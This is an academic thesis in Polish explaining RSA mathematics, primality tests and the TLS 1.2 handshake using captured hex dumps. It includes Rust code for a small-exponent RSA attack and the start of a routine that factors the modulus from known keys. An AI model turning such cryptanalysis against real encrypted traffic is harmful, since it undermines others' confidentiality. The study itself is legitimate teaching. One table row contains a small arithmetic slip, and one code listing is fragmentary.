POLITECHNIKA POZNAŃSKA

WYDZIAŁ AUTOMATYKI, ROBOTYKI I ELEKTROTECHNIKI

Instytut Matematyki

PRACA DYPLOMOWA INŻYNIERSKA

SYSTEM RSA

Krystian Baran

Promotor:
dr Anna Iwaszkiewicz-Rudoszańska

POZNAŃ, 2023

KARTA PRACY DYPLOMOWEJ Z DZIEKANATU
(kserokopia z podpisami)

Podziękowania

Składam serdecznie podziękowania
promotorowi,
komisji egzaminacyjnej,
Stack Overflow,
TryHackMe,
...
I inni ...

Spis treści

Wstęp

Kryptografia i systemy kryptograficzne miały głównie zastosowanie w wojskach jako bezpieczna metoda komunikacji. Systemy kryptograficzne z kluczem publicznym natomiast pojawiły się dopiero w 1978 gdy Rivest, Shamir i Adleman wynaleźli pierwszy system kryptograficzny z kluczem publicznym. Ten system nazywany jest teraz RSA zostanie on omówiony. Wraz z pojawieniem się nowego systemu pojawiały się problemy implementacji jak i możliwe na niego ataki. Ponieważ jest to system tylko teoretyczne bezpieczny to jest on co raz mniej wykorzystywany. Natomiast ataki na ten system są interesujące ze względu matematycznego jak i implementacji.

Praca składa się z czterech rozdziałów. W pierwszym opisane są podstawowe pojęcia matematyczne oraz sam system RSA. Pojęcia jak rozszerzony algorytm Euklidesa lub samo działanie systemu RSA zostały poprzedzone przykładami. W drugim rozdziale jest opisany protokół SSL.TLS. Jest to natomiast temat wymagający osobną pracę, zatem został on opisany na podstawie przykładu, co powinno ułatwić zrozumienie podstawowych działań. Trzeci rozdział dedykowany jest opisem wybranych ataków na system RSA wraz z implementacją w kodzie tych ataków. Tam gdzie pojawia się implementacja w kodzie to został także przedstawiony własny przykład. Ostatni rozdział precyzuje atak z wybranym szyfrogramem Bleichenbachera na podstawie własnego serwera.

1. Podstawy działania systemu RSA

System RSA jest przykładem systemu kryptograficznego asymetrycznego z kluczem publicznym i prywatnym. System ten jest bezpieczny teoretycznie. Niebezpieczeństwo związane z użytkowaniem tego systemu polega na jego niewłaściwej implementacji przez użytkowników.

W tym rozdziale zostaną omówione podstawy tego systemu z przykładami.

1.1. Dzielenie z resztą

Niech $a, b, k \in \mathbb{Z}$. Liczba a dzieli liczbę b, jeżeli istnieje takie k, dla którego $b = k \cdot a$. Oznacza się to jako $a|b$.

Definicja 1.1. [7] Liczby $a, b \in \mathbb{Z}$ przystają do siebie modulo $n \in \mathbb{N}$, jeżeli $n|(a-b)$. Pisze się wtedy $a = b \pmod{n}$.

Dla $a, b \in \mathbb{Z}$ i $n \in \mathbb{N}$ zapis $a = b \pmod{n}$ jest równoważny zapisowi $a = n \cdot k + b$ dla pewnego $k \in \mathbb{Z}$.

Liczba b może być wtedy resztą z dzielenia a przez n. W szczególności b może być liczbą ze zbioru $\{0, 1, \ldots, n-1\}$.

1.2. Rozszerzony algorytm Euklidesa

Algorytm Euklidesa pozwala obliczać największy wspólny dzielnik, opierając się na fakcie przedstawionym poniżej.

Fakt 1.1. [1] $\mathrm{NWD}(a, b) = \mathrm{NWD}(b, a \pmod{b})$ dla $a, b \in \mathbb{N}$.

Zapis $\mathrm{NWD}(b, a \pmod{n})$ oznacza $\mathrm{NWD}(b, c)$, gdzie $a = c \pmod{b}$, za $a \pmod{b}$. W algorytmie Euklidesa za $a \pmod{b}$ bierze się resztę z dzielenia a przez b.

Obliczając kolejno reszty z dzielenia aż do momentu uzyskania zerowej reszty, otrzymuje się NWD(a, b). Będzie to ostatnia niezerowa reszta.

$$\begin{aligned}
a &= b \cdot q_2 + r_2, \\
b &= r_2 \cdot q_3 + r_3, \\
r_2 &= r_3 \cdot q_4 + r_4, \\
&\dots \\
r_n &= r_{n+1} \cdot q_{n+2} + r_{n+2}, \\
&\dots \\
r_m &= r_{m+1} \cdot q_{m+2} + 0.
\end{aligned}$$

Rozszerzony algorytm Euklidesa oblicza nie tylko największy wspólny dzielnik, ale też współczynniki x_i i y_i równania typu $ax_i + by_i = r_i$. Reszty r_0 i r_1 uzyskiwane są przez podstawienie do równania powyżej $x_0 = 1$, $y_0 = 0$ dla r_0 oraz $x_1 = 0$, $y_1 = 1$ dla r_2. Dla ostatniej niezerowej reszty równanie będzie postaci $ax + by = \text{NWD}(a, b)$.

$$\begin{aligned}
a = b \cdot q_2 + r_2 &\implies r_2 = a \cdot 1 + b \cdot (-q_2), \\
b = r_2 \cdot q_3 + r_3 &\implies r_3 = b - r_2 q_3 = b - aq_3 + bq_2 q_3 = a \cdot (-q_3) + b \cdot (1 + q_3 q_2), \\
r_2 = r_3 \cdot q_4 + r_4 &\implies r_4 = r_2 - r_3 q_4 = a - bq_2 - bq_4(1 + q_2) + aq_3 q_4 = \\
&= a \cdot (1 + q_4 q_3) + b \cdot (-q_2 - q_4(1 + q_2)), \\
&\dots \\
r_n &= a \cdot (x_{n-2} - q_n x_{n-1}) + b \cdot (y_{n-2} - q_n y_{n-1}).
\end{aligned}$$

Poniżej zostały zebrane współczynniki w postaci ciągów iteracyjnych:

$$r_i = \begin{cases} r_0 = a \\ r_1 = b \\ r_i = r_{i-2} \pmod{r_{i-1}}, \quad i > 1 \end{cases}, \; q_i = \left\lfloor \tfrac{r_{i-2}}{r_{i-1}} \right\rfloor, \quad i > 1 \;,$$

$$x_i = \begin{cases} x_0 = 1 \\ x_1 = 0 \\ x_i = x_{i-2} - q_i \cdot x_{i-1}, \quad i > 1 \end{cases}, \; y_i = \begin{cases} y_0 = 0 \\ y_1 = 1 \\ y_i = y_{i-2} - q_i \cdot y_{i-1}, \quad i > 1 \end{cases}.$$

Obliczenia dobiegają końca, jeżeli $r_k = 0$ dla pewnego $k \in \mathbb{N}$. Wtedy NWD$(a, b) = r_{k-1}$ oraz $a \cdot x_{k-1} + b \cdot y_{k-1} = r_{k-1}$.

1.2.1. Przykład wykorzystania rozszerzonego algorytmu Euklidesa

Niech $a = 41$ oraz $b = 12$. Wtedy:

k	r_k	q_k	x_k	y_k
0	41	–	1	0
1	12	–	0	1
2	5	3	$1 - 3 \cdot 0 = 1$	$0 - 3 \cdot 1 = -3$
3	2	2	$0 - 2 \cdot 1 = -2$	$1 - 2 \cdot (-3) = 7$
4	1	2	$1 - 2 \cdot (-2) = 5$	$-3 - 2 \cdot 7 = -17$
5	0	2	$-2 - 2 \cdot 5 = -12$	$5 - 2 \cdot (-13) = 31$

Zatem, na podstawie wykonanych obliczeń, $\text{NWD}(41, 12) = 1$.
Ponadto $41 \cdot 5 + 12 \cdot (-17) = 1$.

1.3. Funkcja Eulera

Funkcja Eulera jest funkcją, której dziedzina jest zbiór liczb naturalnych. Wartość tej funkcje jest zależna od rozkładu jej argumentu na czynniki pierwsze.

Definicja 1.2. [1] Jeżeli $\text{NWD}(a, b) = 1$, gdzie $a, b \in \mathbb{Z}$, to liczby a i b nazywane są względnie pierwsze.

Definicja 1.3. [1] Funkcja Eulera oznaczana jako $\varphi(n)$ dla $n \geq 1$ wyznacza liczbę liczb całkowitych względnie pierwszych z n z przedziału $[1, n]$.

Poniżej przedstawiono niektóre własności i wzory dla tej funkcji.

Fakt 1.2. [1] Funkcja Eulera ma następujące własności:

1. Jeżeli p jest liczbą pierwszą, to $\varphi(p) = p - 1$.
2. Funkcja Eulera jest multiplikatywna, to jest $\varphi(mn) = \varphi(m)\varphi(n)$ jeżeli $\text{NWD}(m, n) = 1$.
3. Jeżeli $n = p_1^{\alpha_1} p_2^{\alpha_2} \dots p_k^{\alpha_k}$ jest rozkładem liczby n na iloczyn różnych czynników pierwszych, to

$$\varphi(n) = n \left(1 - \frac{1}{p_1}\right) \left(1 - \frac{1}{p_2}\right) \dots \left(1 - \frac{1}{p_k}\right).$$

Twierdzenie 1.1 (Twierdzenie Eulera)**.** *[6] Dla dowolnych $a \in \mathbb{Z}$, $n \in \mathbb{N}$ jeżeli $\text{NWD}(a, n) = 1$, to $a^{\varphi(n)} = 1 \pmod{n}$.*

Niech teraz p będzie liczbą pierwszą. Wtedy zachodzi następująca własność:

Twierdzenie 1.2 (Małe twierdzenie Fermata)**.** *[6] Dla dowolnych liczb $a \in \mathbb{Z}$ zachodzi równość $a^p = a \pmod p$. Jeżeli dodatkowo* $\mathrm{NWD}(a,p) = 1$*, to $a^{p-1} = 1 \pmod p$.*

1.4. Chińskie twierdzenie o resztach

Twierdzenie 1.3. *[1] Jeżeli liczby $m_1, m_2, m_3, \ldots, m_n \in \mathbb{N}$ są parami względnie pierwsze, to jest* $\mathrm{NWD}(m_i, m_j) = 1$ *dla $i \neq j$, to układ kongruencji*

$$\begin{cases} x = a_1 \pmod{m_1}, \\ x = a_2 \pmod{m_2}, \\ \qquad \ldots \\ x = a_n \pmod{m_n} \end{cases}$$

ma rozwiązanie. Rozwiązanie to jest jednoznaczne modulo $\prod_{i=1}^{n} m_i$.

Jedna z metod rozwiązywania takiego układu równań polega na podstawieniu rozwiązania typu $x = m_n \cdot k + a_n$ do kolejnych równań, aż do osiągnięcia wyrażenia postaci $x = b \cdot \prod_{i=1}^{n} m_i + c$. Rozwiązaniem jest wtedy liczba c.

1.5. Algorytm RSA

Omówione zostanie teraz wyznaczanie kluczy w systemie RSA oraz szyfrowanie i odszyfrowywanie wiadomości.

1.5.1. Wyznaczanie kluczy

W pierwszym kroku wybierane są dwie różne liczby pierwsze p i q. Obliczany jest ich iloczyn $n = pq$ oraz wartość funkcji Eulera dla n:

$$\varphi(n) = n\left(1 - \frac{1}{p}\right)\left(1 - \frac{1}{q}\right) = pq\left(1 - \frac{1}{p}\right)\left(1 - \frac{1}{q}\right) = (p-1)(q-1).$$

Wybierana jest liczba e względnie pierwsza z $\varphi(n)$.

Następnie obliczana jest odwrotność liczby e modulo $\varphi(n)$, czyli d spełniające nierówność:

$$ed = 1 \pmod{\varphi(n)}.$$

Liczbę tę można wyznaczyć korzystając z rozszerzonego algorytmu Euklidesa dla e i $\varphi(n)$. Kluczem publicznym systemu RSA będzie para (n, e). Kluczem prywatnym będzie liczba d.

1.5.2. Szyfrowanie i odszyfrowywanie

Dowolny ciąg znaków w komputerach można przetworzyć w liczbę. Zatem niech liczba całkowita $m \in [0, n-1]$ będzie wiadomością, która będzie szyfrowana. Zaszyfrowaną wiadomością jest:

$$c = m^e \pmod{n}.$$

Aby wiadomość odszyfrować, należy podnieść liczbę c do potęgi d, czyli klucza prywatnego:

$$c^d \pmod{n} = m \pmod{n}.$$

Poprawność odszyfrowywania. Niech para (n, e) będzie kluczem publicznym systemu RSA, a d kluczem prywatnym.
Niech $\text{NWD}(m, n) = 1$. Ponieważ $ed = 1 \pmod{\varphi(n)}$, to $ed = 1 + \varphi(n) \cdot k$ dla pewnego $k \in \mathbb{Z}$. Ponadto, z twierdzenia Eulera, jeżeli $\text{NWD}(a, n) = 1$, to $a^{\varphi(n)} \pmod{n}$. Wtedy:

$$\begin{aligned} c^d \pmod{n} = (m^e)^d \pmod{n} = m^{ed} \pmod{n} = m^{1+\varphi(n)k} \pmod{n} = \\ = m(m^{\varphi(n)})^k \pmod{n} = m \pmod{n}. \end{aligned}$$

Niech teraz $\text{NWD}(m, n) > 1$. Możliwe są trzy przypadki: $\text{NWD}(m, n) = n$, $\text{NWD}(m, n) = p$ lub $\text{NWD}(m, n) = q$. Jeżeli $\text{NWD}(m, n) = n$, to wiadomość $m = 0 \pmod{n}$ oraz szyfrogram $c = 0 \pmod{n}$. Jeżeli $\text{NWD}(m, n) = p$, to:

$$\begin{cases} c^d = m^{ed} = m^{k\varphi(n)+1} \pmod{q} = m^{(p-1)(q-1)k} m \pmod{q} = \\ \quad = m \pmod{q}, \\ c^d = m^{ed} \pmod{p} = 0 \pmod{p}. \end{cases}$$

Z drugiego równania wynika, że $c^d = p \cdot r + 0$ dla pewnego $r \in \mathbb{Z}$. Podstawiając do pierwszego równania otrzyma się:

$$\begin{aligned} pr = m \pmod{q}, \\ r = m \cdot p^{-1} \pmod{q}. \end{aligned}$$

To oznacza, że $r = q \cdot t + mp^{-1}$ dla pewnego $t \in \mathbb{Z}$. Warto zauważyć, że liczba p^{-1} spełnia równanie $pp^{-1} = 1 \pmod{q}$, czyli $pp^{-1} = q \cdot s + 1$ dla pewnego $s \in \mathbb{Z}$. Ponadto, $mq = 0 \pmod{n}$ ponieważ $\text{NWD}(m, n) = p$. Zatem:

$$\begin{aligned} c^d \pmod{n} = p \cdot r = p(qt + mp^{-1}) \pmod{n} = \\ = n \cdot t + mpp^{-1} \pmod{n} = n \cdot t + m(qs + 1) \pmod{n} = \\ = nt + mqs + m \pmod{n} = m \pmod{n}. \end{aligned}$$

Analogicznie dla $\text{NWD}(m, n) = q$.

■

1.6. Przykład działania systemu RSA

Do przykładu wykorzystano kod napisany w języku programowania **Rust**. Wykorzystano ponadto pakiet *rug 1.18* do liczb o dowolnej dokładności. Pomimo dostępności w tym pakiecie funkcji do rozszerzonego algorytmu Euklidesa, napisano własną implementacje, nie tylko dla liczb tego pakietu, ale też dla liczb dostępnych pierwotnie.

Niech $p = 7919$ oraz $q = 6841$. Wtedy $n = 54173879$ oraz $\varphi(n) = 54159120$. Korzystając z funkcji losującej dostępnej w powyższym pakiecie, generowano losowe wartości $1 < e < \varphi(n)$ aż do otrzymania liczby względnie pierwszej z $\varphi(n)$. Wylosowano wartość $e = 43003183$. Ponieważ rozszerzony algorytm Euklidesa zwraca także szukane d, to dostano także klucz prywatny. Ustalono zatem:

- $(54173879, 43003183)$ – klucz publiczny,
- 7494847 – klucz prywatny.

Aby zaszyfrować wiadomość Hi! należy ją przekształcić na liczbę. Konwersja polega na przedstawieniu każdej litery jako liczby z tablicy ASCII i zestawienie do listy. Każda litera jest więc liczbą 8-bitową, czyli liczbą od 0 do 255. Liczby w liście są cyframi liczby w bazie 256. Na podstawie tych cyfr tworzona jest liczba dziesiętna. Zatem Hi! = 4745505.

Korzystając z algorytmu wcześniej przedstawionego, tworzony jest szyfrogram $c = 1052000 = [16, 13, 96]$. Nie przedstawiono go w postaci tekstu, ponieważ znaki od 0 do 31 nie są tekstem, lecz są przeznaczone do operacji jak tabulacja, przesunięcie kursora do początku linii lub sygnalizowanie końca tekstu.

Odszyfrowanie wykonywane jest jak wcześniej przedstawiono. Wynik jest liczbą dziesiętną. Żeby dostać z tego tekst, liczbę przedstawiono jako poszczególne cyfry w bazie 256 w posortowaniu „Most Significat Digit first". Taką tablicę można przekonwertować na znaki, co jest odszyfrowaną wiadomością:

$$4745505 = \text{Hi!}$$

Poniżej przedstawiono kod wykorzystany do przykładu.

```
1    let message: &str = "Super secret message";
2    let m: Integer = Integer::from_digits(message.as_bytes(), Order::MsfBe);
3    let c: Integer = m.pow_mod(&e, &n).unwrap();
```

```
4       println!("Here is your ciphertext: {}", c);
5
6       let (res, k) = small_e(n, c, e);
7       println!("Decrypted message: {}", res);
8       println!("k is: {}", k);
9
10      pub fn small_e(n: Integer, c: Integer, e: Integer) -> (String, i32) {
11          let mut arr: Vec<u8>;
12          let mut m: Integer;
13
14          for i in 0..10000 {
15              m = c.clone() + i*n.clone();
16              m = m.root(e.to_u32_wrapping());
17              arr = m.to_digits::<u8>(Order::MsfBe);
18              let mut str: String = String::new();
19              for j in arr.clone() {
20                  str.push(j as char);
21              }
22              if str.is_ascii() {
23                  return (str,i);
24              }
25          }
26          return (String::from(""), -1);
27      }
28  }
29
30  fn factor_n_example() {
31      let n_str: &str = "122649059178162637000235154483937777089675521737123581091091
32      112075721236843318505659070851271440997802106172180323874308937701712523347009
33      782826738112981152721181778312786319011587166390909385674403046948259826198367
34      163684777710906230670403185358699858972062054236279922545535821691078128330482
35      8215788728105359";
36      let e_str: &str = "846175017278884238211335964415711215208153976432250899344444
37      436349502681518935293555531766824573098497372564373307288536035855002783639020
38      298535325660076402607034399890585937330747894532573222022139028813064683258751
39      982767855873792842547077447226443256890881420825829634680197242864699416061217
40      480750109412593";
41      let n: Integer = n_str.parse::<Integer>().unwrap();
42      let e: Integer = e_str.parse::<Integer>().unwrap();
43      let d: Integer = Integer::from(65537);
44
45      let k: Integer = e*d - Integer::from(1);
46      let mut t_int: u16 = 0;
47      let mut r: Integer = k.clone();
48      while r.is_even() {
49          r = r/2;
```

Listing 1.1. ./ssl_attack/src/main.rs, od 85 do 133

1.7. Wybrane testy pierwszości

Testy pierwszości służą do sprawdzenia, czy dana liczba jest liczbą pierwszą. Dla małych liczb można kolejno dzielić liczbę przez wszystkie liczby od niej mniejsze i sprawdzić, czy jest pierwsza. Dla dużych liczb natomiast taka metoda jest za wolna. Liczby pierwsze szczególnej postaci jak liczby pierwsze Mersenna lub liczby pierwsze Fermata mają wzór jawny, zatem łatwiej sprawdzić pierwszość takiej liczby. Natomiast, dla większości liczb, stosuje się testy probabilistyczne. Testy probabilistyczne wskazują, czy dana liczba jest pierwsza z ustalonym prawdopodobieństwem. Zatem pewność, że dana liczba jest pierwsza uzyskuje się na podstawie wielu prób. Dwa takie testy zostały poniżej omówione.

1.7.1. Probabilistyczny test Fermata [1]

Test Fermata jest testem probabilistycznym opierający się na twierdzeniu Fermata. Dla nieparzystej liczby n wybierana jest liczba a spełniająca nierówność $1 \leq a \leq n-1$. Wtedy:

- Jeżeli $a^{n-1} \neq 1 \pmod{n}$, to liczba n jest na pewno liczbą złożoną.
- Jeżeli $a^{n-1} = 1 \pmod{n}$, to liczba n jest liczbą pseudopierwszą, czyli może być liczbą pierwszą.

Pseudopierwszość wynika z tego, że twierdzenie Fermata nie jest równoważnością. Oznacza to, że ze spełnienia jego tezy nie wynika pierwszość liczby.

Istnieją takie liczby, dla których kongruencja $a^{n-1} = 1 \pmod{n}$ zachodzi dla każdego $a \in \mathbb{Z}$, $\mathrm{NWD}(a, n) = 1$. Takie liczby nazywane są liczbami Carmichaela. Dla wybranej liczby złożonej n, która nie jest liczbą Carmichaela, przynajmniej połowa liczb $a \in [0, n-1]$ nie spełnia warunku $a^{n-1} = 1 \pmod{n}$. Zatem prawdopodobieństwo poprawnego rozstrzygnięcia pierwszości dla liczb, które nie są liczbami Carmichaela, przy jednokrotnym zastosowaniu testu wynosi co najmniej $\frac{1}{2}$. Problem z liczbami Carmichaela jest rozwiązany w teście Millera-Rabina.

Przykład

Niech liczba $n = 47$ będzie liczbą o nieznanej pierwszości. Wybrana została liczba $a = 3$. Dla tej liczby kongruencja testowa jest postaci:

$$a^{n-1} = 3^{46} \pmod{47} = 1 \pmod{47}.$$

Oznacza to, że liczba może być pierwsza. Wybrana została teraz liczba $a = 4$. Dla tej liczby kongruencja testowa jest postaci:

$$4^{46} \pmod{47} = 1 \pmod{47}.$$

Ponownie, liczba n może być pierwsza. Wybrana została teraz liczba $a = 5$. Dla tej liczby kongruencja testowa jest postaci:

$$5^{46} \pmod{47} = 1 \pmod{47}.$$

Ponieważ przez trzeci raz uzyskano tą samą odpowiedź, to można stwierdzić, że liczba $n = 47$ jest liczbą pierwszą, z prawdopodobieństwem co najmniej $1 - \left(\frac{1}{2}\right)^3$.

1.7.2. Probabilistyczny test Millera-Rabina

Test Millera-Rabina jest znany też jako mocny test pierwszości. Test ten oparty jest na następującym fakcie:

Fakt 1.3. [7] Niech n będzie nieparzystą liczbą pierwszą oraz $n - 1 = 2^s r$, gdzie r jest nieparzyste. Niech ponadto a będzie liczbą całkowitą taką, że $\mathrm{NWD}(a, n) = 1$. Wtedy albo $a^r = 1 \pmod{n}$ albo $a^{2^j r} = -1 \pmod{n}$ dla pewnego j, $0 \leq j \leq s - 1$.

Zatem, aby sprawdzić pierwszość liczby n, należy rozłożyć liczbę $n - 1 = 2^s r$. Wtedy:

- Jeżeli $a^r \neq 1 \pmod{n}$ oraz $a^{2^j r} \neq -1 \pmod{n}$ dla każdego $j, 0 \leq j \leq s - 1$, to n jest liczbą złożoną.
- Jeżeli $a^r = 1 \pmod{n}$ lub $a^{2^j r} = -1 \pmod{n}$ dla pewnego $j, 0 \leq j \leq s - 1$, to n może być liczbą pierwszą.

Tak jak w poprzednim teście pierwszości należy sprawdzić więcej liczb a aby stwierdzić, czy dana liczba jest z dużym prawdopodobieństwem pierwsza. Prawdopodobieństwo, że liczba złożona n będzie uznawana jako pierwsza w tym teście wynosi co najwyżej $\frac{1}{4}$. Jeżeli natomiast dla liczby n przeprowadzimy przynajmniej 30 niezależnych testów, to prawdopodobieństwo poprawnego sprawdzenia liczby wynosi co najmniej $1 - \left(\frac{1}{4}\right)^{30} \approx 0.9999999999$.

Przykład

Niech $n = 57$ będzie liczbą, której pierwszość zostanie sprawdzona. Wtedy $n - 1 = 56 = 2^3 \cdot 7$. Dobrana została na początku liczba $a = 3$. Uzyskujemy wtedy kongruencje:

$$3^7 = 21 \pmod{57} \neq 1 \pmod{57},$$
$$3^{2 \cdot 7} = 42 \pmod{57} \neq -1 \pmod{57},$$
$$3^{2^2 \cdot 7} = 54 \pmod{57} \neq -1 \pmod{57},$$
$$3^{2^3 \cdot 7} = 9 \pmod{57} \neq -1 \pmod{57}.$$

Na podstawie testu Millera-Rabina, liczba 57 jest liczbą złożoną.

2. Podstawy działania protokołu SSL

W tym rozdziale zostanie wzięty pod uwagę protokół SSL/TLS i niektóre jego aspekty. Zostanie przedstawiony przykład oraz zostaną omówione niektóre różnice pomiędzy wersjami. W celu rozróżniania liczb postaci dziesiętnej od bajtów w postaci szesnastkowej, tę ostatnie będą wyprzedzane przez znak „0x".

2.1. Czym jest SSL/TLS

Nazwa protokołu SSL pochodzi z angielskiego, co oznacza „Secure Socket Layer". Jest to zatem warstwa, która znajduje się, w modelu OSI (ang. Open System Interconnection model), pomiędzy warstwą aplikacji i warstwą połączenia. Nazywana jest warstwą prezentacji. Protokół TLS jest podobny w działaniu do protokół SSL ponieważ jest jego rozwinięciem. Bierze nazwę z angielskiego "Transport Layer Security".

Ponieważ nie jest to protokół transferu danych, to jedna z jego zalet jest taka, że można go stosować nad istniejącym już protokołem transferu danych takim jak TCP/IP. TLS stosowany jest na co dzień przy wyświetlaniu witryn internetowych (HTTPS), wysyłaniu elektronicznych wiadomości (SMTPS) i innych przypadkach.

Protokół SSL/TLS zawiera podprotokoły odpowiedzialne za pierwsze połączenie, alerty oraz dane. Te podprotokoły będą w dalszym ciągu nazywane protokołami. Każdy podprotokół ma własne bloki danych, które są wysyłane przez warstwę połączenia. Ta warstwa wysyła dane w postaci pakietów składających z bloków o długości jednego bajta. Te bajty podlegają konkatenacji i są uporządkowane w taki sposób, że pierwsze pojawiające się bloki przyporządkowane są do większych wartości. Uporządkowanie to znane jest z angielskiego jako "big endian".

Ze względu na to, że wersja TLS 1.3 nie wspiera systemu RSA, to nie zostanie ona omówiona.

2.2. SSL Handshake [2]

Uzyskanie połączenia protokołem SSL/TLS odbywa się za pomocą procesu znanego jako *SSL Handshake*. Jest to także podprotokół protokołu SSL, który zawiera podprotokoły. Proces połączenia odbywa się poprzez wymianę pakietów między klientem i serwerem. Przechwycono taką wymianę danych pomiędzy własnym serwerem i klientem. Dane te zostaną wykorzystane do dalszego wyjaśnienia.

2.2.1. ClientHello

Po połączeniu TCP wysyłana jest przez klienta seria danych, którą nazywa się *ClientHello*. Poniżej została taka seria danych zaprezentowana. Można w niej rozróżnić pięć kolumn. Pierwsza jest pomocniczą kolumną zliczająca, w bazie szesnastkowej, liczbę wcześniejszych bajtów. Dwie kolejne kolumny są danymi w postaci szesnastkowej rozdzielone co bajt. Ostatnie dwie kolumny to odpowiedniki wcześniejszych dwóch kolumn z tabeli znaków ASCII.

```
1  00000000  16 03 03 00 95 01 00 00  91 03 03 af ee 89 13 29  ........ .......)
2  00000010  8a ff 3d 94 8a 78 a8 71  24 0b 7a d4 f9 78 2d 13  ..=..x.q $.z..x-.
3  00000020  e8 e6 84 a7 e1 7c 20 b6  ea b8 11 00 00 3c c0 2c  .....| . .....<.,
4  00000030  c0 2b c0 30 c0 2f 00 9f  00 9e 00 9d 00 9c cc a9  .+.0./.. ........
5  00000040  cc a8 cc aa c0 27 c0 23  c0 28 c0 24 c0 0a c0 09  .....'.# .(.$....
6  00000050  c0 14 c0 13 00 6b 00 67  00 39 00 33 00 3d 00 3c  .....k.g .9.3.=.<
7  00000060  00 35 00 2f cc 14 cc 13  cc 15 01 00 00 2c 00 0a  .5./.... .....,..
8  00000070  00 0e 00 0c 00 10 00 13  00 15 00 17 00 18 00 19  ........ ........
9  00000080  00 0d 00 12 00 10 06 03  05 03 04 03 02 03 06 01  ........ ........
10 00000090  05 01 04 01 02 01 00 17  00 00                    ........ ..
```

Pierwszy bajt 0x16 sygnalizuje protokół SSL handshake. Drugi i trzeci bajt 0x0303 oznaczają maksymalną wersję SSL/TLS, która jest obsługiwana przez klienta. 0x0300 odpowiada za SSL 3, 0x0301 za TLS v1.0, 0x0302 za TLS v1.1 a 0x0303 za TLS v1.2. W tym przypadku jest to TLS v1.2. Kolejne dwa bajty 0x0095 wyznaczają pozostała długość wiadomości. W tym przypadku jest to 149 bajtów.

Kolejny bajt 0x01 sygnalizuje początek wiadomości *ClientHello*. Następne trzy bajty wyznaczają, jak poprzednio, pozostałą długość wiadomości (0x000091 czyli 145 bajtów). Kolejne dwa bajty są powtórzeniem maksymalnej wersji obsługiwanego protokołu SSL/TLS.

W 32 bajtach, czyli od 0xAF do 0x11, znajduje się odcisk czasowy oraz losowa wartość, która będzie wykorzystana do obliczenia klucza połączenia. Kolejna wartość to długość bajtów identyfikatora sesji. W tym przypadku jest to 0x00 czyli 0, zatem

nie jest wznawiana żadna sesja. W przypadku wartości większej od zera, po tym bajcie znalazłyby się bajty odpowiadające identyfikatorowi połączenia, który serwer wyznacza.

Kolejne dwa bajty, 0x003C czyli 60, wyznaczają długość obsługiwanych przez klienta szyfrogramów. Są to bajty od 0xC0 do 0x15. Dla każdego szyfrogramu przeznaczone są trzy bajty – pierwsze dwa identyfikują specyfikacje szyfru, a trzeci funkcję skrótu. Serwer wybierze jeden z tych szyfrów do wymiany klucza.

Pozostałe dane przeznaczone są dla dodatków. Dodatki zostały zaimplementowane od wersji TLS v1.2. Ponieważ te dane są doliczane do długości pojawiającej się na początku bloku, to ich dodanie nie wpływa na połączenie ze starszymi wersjami.

Dodatki nie zostaną omówione.

2.2.2. ServerHello

Kolejnym zestawem danych nazywany jest *ServerHello*. Są to dane wysyłane przez serwera do klienta, zawierające informacje takie jak certyfikaty, wybrany szyfr, identyfikator połączenia i inne. Poniżej zostały takie dane przedstawione.

```
00000000  16 03 03 00 50 02 00 00  4c 03 03 8f 0d a3 23 8e  ....P... L.....#.
00000010  67 ea c1 b3 74 23 45 1b  35 a1 4a 93 e7 8a 67 a2  g...t#E. 5.J...g.
00000020  af 40 ca b1 ab 16 5f 77  83 f0 e1 20 bc 3e 34 8b  .@...._w ... .>4.
00000030  3c 65 81 6e 8f ba 77 3f  36 a1 ea 05 a3 dc 76 5a  <e.n..w? 6.....vZ
00000040  c7 23 66 0a dc e6 6c b0  24 64 22 50 00 3c 00 00  .#f...l. $d"P.<..
00000050  04 00 17 00 00                                    .....
00000055  16 03 03 03 82 0b 00 03  7e 00 03 7b 00 03 78 30  ........ ~..{..x0
00000065  82 03 74 30 82 02 5c a0  03 02 01 02 02 14 6e 72  ..t0..\. ......nr
00000075  3d 3f f5 1d 1d cb 99 cd  48 ae fa 89 46 c3 a5 30  =?...... H...F..0
00000085  03 c1 30 0d 06 09 2a 86  48 86 f7 0d 01 01 0b 05  ..0...*. H.......
00000095  00 30 45 31 0b 30 09 06  03 55 04 06 13 02 50 4c  .0E1.0.. .U....PL
000000A5  31 13 30 11 06 03 55 04  08 0c 0a 53 6f 6d 65 2d  1.0...U. ...Some-
000000B5  53 74 61 74 65 31 21 30  1f 06 03 55 04 0a 0c 18  State1!0 ...U....
000000C5  49 6e 74 65 72 6e 65 74  20 57 69 64 67 69 74 73  Internet  Widgits
000000D5  20 50 74 79 20 4c 74 64  30 1e 17 0d 32 32 31 31  Pty Ltd 0...2211
000000E5  31 36 31 31 32 34 31 34  5a 17 0d 32 33 31 31 31  16112414 Z..23111
000000F5  36 31 31 32 34 31 34 5a  30 41 31 0b 30 09 06 03  6112414Z 0A1.0...
00000105  55 04 06 13 02 45 55 31  0f 30 0d 06 03 55 04 08  U....EU1 .0...U..
00000115  0c 06 42 61 6e 61 6e 61  31 21 30 1f 06 03 55 04  ..Banana 1!0...U.
00000125  0a 0c 18 49 6e 74 65 72  6e 65 74 20 57 69 64 67  ...Inter net Widg
00000135  69 74 73 20 50 74 79 20  4c 74 64 30 82 01 22 30  its Pty  Ltd0.."0
00000145  0d 06 09 2a 86 48 86 f7  0d 01 01 01 05 00 03 82  ...*.H.. ........
00000155  01 0f 00 30 82 01 0a 02  82 01 01 00 de 70 35 26  ...0.... .....p5&
00000165  8d 1c ae c8 7a 29 4f ca  a1 ef a0 bd 8d 7a 24 85  ....z)O. .....z$.
00000175  48 b1 24 16 a6 38 19 c4  8e 08 20 03 bc 92 83 ed  H.$..8.. .. .....
```

```
00000185  51 38 15 c9 36 b7 b0 e5  1d a0 96 3c 95 a7 4c 3e   Q8..6... ...<..L>
00000195  79 a8 ea f5 d5 15 da 87  d7 b4 6a 03 eb 49 05 24   y....... ..j..I.$
000001A5  46 5a 5e ae 89 7e 35 82  4c 9b a3 65 8f cd db 6a   FZ^..~5. L..e...j
000001B5  99 5a b6 95 92 fa c7 1d  7c ec 77 1d 5c 33 8c 7b   .Z...... |.w.\3.{
000001C5  80 f4 1d 8a 90 81 61 94  49 ed 81 e6 e9 7c e4 f1   ......a. I....|..
000001D5  4c c5 11 02 49 22 0e e4  90 5e 07 f9 9c 9d 14 27   L...I".. .^.....'
000001E5  06 0b fb 4c c4 ee 06 18  ea 94 90 ce 43 79 51 47   ...L.... ....CyQG
000001F5  18 ba 62 57 3a 4c af 46  52 f9 4e 07 d8 40 3e 74   ..bW:L.F R.N..@>t
